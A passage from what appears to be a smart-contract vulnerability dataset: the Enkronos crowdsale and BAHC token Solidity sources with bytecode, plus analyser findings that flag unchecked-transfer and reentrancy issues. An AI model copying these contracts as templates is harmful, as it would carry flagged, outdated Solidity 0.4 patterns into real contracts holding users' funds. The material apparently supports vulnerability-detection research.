weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title WhitelistedCrowdsale * @dev Crowdsale in which only whitelisted users can contribute. */ contract WhitelistedCrowdsale is Crowdsale, Ownable { mapping(address => bool) public whitelist; /** * @dev Reverts if beneficiary is not whitelisted. Can be used when extending this contract. */ modifier isWhitelisted(address _beneficiary) { require(whitelist[_beneficiary]); _; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist */ function addToWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = true; } /** * @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing. * @param _beneficiaries Addresses to be added to the whitelist */ function addManyToWhitelist(address[] _beneficiaries) external onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeFromWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = false; } /** * @dev Extend parent behavior requiring beneficiary to be in whitelist. * @param _beneficiary Token beneficiary * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); /** * @param _wallet Vault address */ function RefundVault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } /** * @param investor Investor address */ function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; Closed(); wallet.transfer(this.balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } /** * @param investor Investor address */ function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } contract EnkronosCrowdsale is WhitelistedCrowdsale { // uint256 public goal; // uint256 public minBuy; // RefundVault public vault; // function EnkronosCrowdsale ( uint256 _rate, address _wallet, StandardToken _token, uint256 _goal ) public Crowdsale(_rate, _wallet, _token) WhitelistedCrowdsale() { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; setMinBuyPrivate(); setWhitelistOn(); } /** * @dev Investors can claim refunds here if crowdsale is unsuccessful */ function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } /** * @dev Checks whether funding goal was reached. * @return Whether funding goal was reached */ function goalReached() public view returns (bool) { return weiRaised >= goal; } bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); //require(hasClosed()); From TimedCrowdsale finalization(); Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { // if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } // uint remaining = token.balanceOf(this); token.transfer(owner, remaining); } /** * @dev Overrides Crowdsale fund forwarding, sending funds to vault. */ function _forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } // function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) { require(_weiAmount >= minBuy); super._preValidatePurchase(_beneficiary, _weiAmount); } // function setRate1666() onlyOwner public { rate = 1666; } function setRate555() onlyOwner public { rate = 555; } function setRate362() onlyOwner public { rate = 362; } function setRate347() onlyOwner public { rate = 347; } function setRate340() onlyOwner public { rate = 340; } function setRate333() onlyOwner public { rate = 333; } // function setMinBuyPrivate() onlyOwner public { minBuy = 10000000000000000000; // 10 ether } function setMinBuyPublic() onlyOwner public { minBuy = 100000000000000000; // 0.1 ether } // bool public isWhitelistOn; function setWhitelistOn() onlyOwner public { isWhitelistOn = true; } function setWhitelistOff() onlyOwner public { isWhitelistOn = false; } modifier isWhitelisted(address _beneficiary) { if(isWhitelistOn) require(whitelist[_beneficiary]); _; } }
0x606060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632444d352146101805780632871b1b9146101955780632bf34551146101aa5780632c4e722e146101bf5780633781d882146101e857806340193883146101fd5780634042b66f14610226578063475b723a1461024f5780634bb278f314610264578063521eb273146102795780636eb060ea146102ce5780637107d7a6146102e3578063716f10bf1461030c5780637d3d65221461033957806385431ec8146103665780638ab1d6811461037b5780638c10671c146103b45780638d4e4083146103e25780638da5cb5b1461040f5780639b19251a146104645780639c4bcaa5146104b5578063a277fa88146104ca578063af8af39f146104df578063b5545a3c146104f4578063e43252d714610509578063ec8ac4d814610542578063f2fde38b14610570578063fbfa77cf146105a9578063fc0c546a146105fe575b61017e33610653565b005b341561018b57600080fd5b610193610721565b005b34156101a057600080fd5b6101a861079a565b005b34156101b557600080fd5b6101bd610801565b005b34156101ca57600080fd5b6101d2610868565b6040518082815260200191505060405180910390f35b34156101f357600080fd5b6101fb61086e565b005b341561020857600080fd5b6102106108d5565b6040518082815260200191505060405180910390f35b341561023157600080fd5b6102396108db565b6040518082815260200191505060405180910390f35b341561025a57600080fd5b6102626108e1565b005b341561026f57600080fd5b610277610948565b005b341561028457600080fd5b61028c610a11565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102d957600080fd5b6102e1610a37565b005b34156102ee57600080fd5b6102f6610aa4565b6040518082815260200191505060405180910390f35b341561031757600080fd5b61031f610aaa565b604051808215151515815260200191505060405180910390f35b341561034457600080fd5b61034c610abd565b604051808215151515815260200191505060405180910390f35b341561037157600080fd5b610379610acc565b005b341561038657600080fd5b6103b2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b33565b005b34156103bf57600080fd5b6103e060048080359060200190820180359060200191909192905050610bea565b005b34156103ed57600080fd5b6103f5610cec565b604051808215151515815260200191505060405180910390f35b341561041a57600080fd5b610422610cff565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561046f57600080fd5b61049b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d25565b604051808215151515815260200191505060405180910390f35b34156104c057600080fd5b6104c8610d45565b005b34156104d557600080fd5b6104dd610db2565b005b34156104ea57600080fd5b6104f2610e2b565b005b34156104ff57600080fd5b610507610e92565b005b341561051457600080fd5b610540600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f8f565b005b61056e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610653565b005b341561057b57600080fd5b6105a7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611046565b005b34156105b457600080fd5b6105bc61119e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561060957600080fd5b6106116111c4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008034915061066383836111e9565b61066c82611278565b90506106838260035461129690919063ffffffff16565b60038190555061069383826112b4565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a361070a83836112c2565b6107126112c6565b61071c8383611395565b505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077d57600080fd5b6000600860156101000a81548160ff021916908315150217905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107f657600080fd5b610682600281905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561085d57600080fd5b610154600281905550565b60025481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ca57600080fd5b61015b600281905550565b60065481565b60035481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093d57600080fd5b61016a600281905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109a457600080fd5b600860149054906101000a900460ff161515156109c057600080fd5b6109c8611399565b7f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768160405160405180910390a16001600860146101000a81548160ff021916908315150217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a9357600080fd5b67016345785d8a0000600781905550565b60075481565b600860159054906101000a900460ff1681565b60006006546003541015905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b2857600080fd5b61014d600281905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8f57600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4857600080fd5b600090505b82829050811015610ce7576001600560008585858181101515610c6c57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610c4d565b505050565b600860149054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da157600080fd5b678ac7230489e80000600781905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0e57600080fd5b6001600860156101000a81548160ff021916908315150217905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e8757600080fd5b61022b600281905550565b600860149054906101000a900460ff161515610ead57600080fd5b610eb5610abd565b151515610ec157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fa89401a336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515610f7d57600080fd5b5af11515610f8a57600080fd5b505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610feb57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110a257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156110de57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b81600860159054906101000a900460ff161561125857600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561125757600080fd5b5b600754821015151561126957600080fd5b61127383836116ac565b505050565b600061128f6002548361172a90919063ffffffff16565b9050919050565b60008082840190508381101515156112aa57fe5b8091505092915050565b6112be8282611765565b5050565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f340fa0134336040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506000604051808303818588803b151561138257600080fd5b5af1151561138f57600080fd5b50505050565b5050565b60006113a3610abd565b1561144257600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166343d726d66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b151561142d57600080fd5b5af1151561143a57600080fd5b5050506114d8565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c52dc416040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15156114c757600080fd5b5af115156114d457600080fd5b5050505b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561159357600080fd5b5af115156115a057600080fd5b5050506040518051905090506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561169157600080fd5b5af1151561169e57600080fd5b505050604051805190505050565b81600860159054906101000a900460ff161561171b57600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561171a57600080fd5b5b6117258383611844565b505050565b600080600084141561173f576000915061175e565b828402905082848281151561175057fe5b0414151561175a57fe5b8091505b5092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561182857600080fd5b5af1151561183557600080fd5b50505060405180519050505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561188057600080fd5b6000811415151561189057600080fd5b50505600a165627a7a723058204bf1bc7f08311f4edef5583bfced409e1026f45cc6398f4a173ee7f39caa16380029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
8,568
0x596dedad119e040908f872052e890ffaae212d82
pragma solidity ^0.4.25; /* * Creator: BAHC (Bahamas Coins) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() public constant returns (uint256 supply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ constructor () public { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) public constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) public returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * Bahamas Coins smart contract. */ contract BAHCToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 5000000 * (10**4); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ constructor () public { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() public constant returns (uint256 supply) { return tokenCount; } string constant public name = "Bahamas Coins"; string constant public symbol = "BAHC"; uint8 constant public decimals = 4; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) public returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) public returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) public returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) public { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () public { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () public { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) public { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) public { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630150246081146100df57806306fdde03146100f6578063095ea7b31461018057806313af4035146101b857806318160ddd146101d957806323b872dd14610200578063313ce5671461022a57806331c420d41461025557806370a082311461026a5780637e1f2bb81461028b57806389519c50146102a357806395d89b41146102cd578063a9059cbb146102e2578063dd62ed3e14610306578063e724529c1461032d575b600080fd5b3480156100eb57600080fd5b506100f4610353565b005b34801561010257600080fd5b5061010b6103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014557818101518382015260200161012d565b50505050905090810190601f1680156101725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018c57600080fd5b506101a4600160a060020a03600435166024356103e6565b604080519115158252519081900360200190f35b3480156101c457600080fd5b506100f4600160a060020a036004351661041a565b3480156101e557600080fd5b506101ee610460565b60408051918252519081900360200190f35b34801561020c57600080fd5b506101a4600160a060020a0360043581169060243516604435610466565b34801561023657600080fd5b5061023f6104b4565b6040805160ff9092168252519081900360200190f35b34801561026157600080fd5b506100f46104b9565b34801561027657600080fd5b506101ee600160a060020a0360043516610510565b34801561029757600080fd5b506101a460043561052f565b3480156102af57600080fd5b506100f4600160a060020a03600435811690602435166044356105f4565b3480156102d957600080fd5b5061010b61070d565b3480156102ee57600080fd5b506101a4600160a060020a0360043516602435610744565b34801561031257600080fd5b506101ee600160a060020a0360043581169060243516610785565b34801561033957600080fd5b506100f4600160a060020a036004351660243515156107b0565b600254600160a060020a0316331461036a57600080fd5b60055460ff1615156103ad576005805460ff191660011790556040517f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de90600090a15b565b60408051808201909152600d81527f426168616d617320436f696e7300000000000000000000000000000000000000602082015281565b60006103f23384610785565b15806103fc575081155b151561040757600080fd5b6104118383610841565b90505b92915050565b600254600160a060020a0316331461043157600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045490565b600160a060020a03831660009081526003602052604081205460ff161561048c57600080fd5b60055460ff161561049f575060006104ad565b6104aa8484846108a7565b90505b9392505050565b600481565b600254600160a060020a031633146104d057600080fd5b60055460ff16156103ad576005805460ff191690556040517f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded90600090a1565b600160a060020a0381166000908152602081905260409020545b919050565b600254600090600160a060020a0316331461054957600080fd5b60008211156105ec57610563640ba43b7400600454610a46565b8211156105725750600061052a565b3360009081526020819052604090205461058c9083610a58565b336000908152602081905260409020556004546105a99083610a58565b60045560408051838152905133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600161052a565b506000919050565b600254600090600160a060020a0316331461060e57600080fd5b600160a060020a03841630141561062457600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152602482018490529151859283169163a9059cbb9160448083019260209291908290030181600087803b15801561069157600080fd5b505af11580156106a5573d6000803e3d6000fd5b505050506040513d60208110156106bb57600080fd5b505060408051600160a060020a0380871682528516602082015280820184905290517ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc1549181900360600190a150505050565b60408051808201909152600481527f4241484300000000000000000000000000000000000000000000000000000000602082015281565b3360009081526003602052604081205460ff161561076157600080fd5b60055460ff161561077457506000610414565b61077e8383610a67565b9050610414565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600254600160a060020a031633146107c757600080fd5b33600160a060020a03831614156107dd57600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3d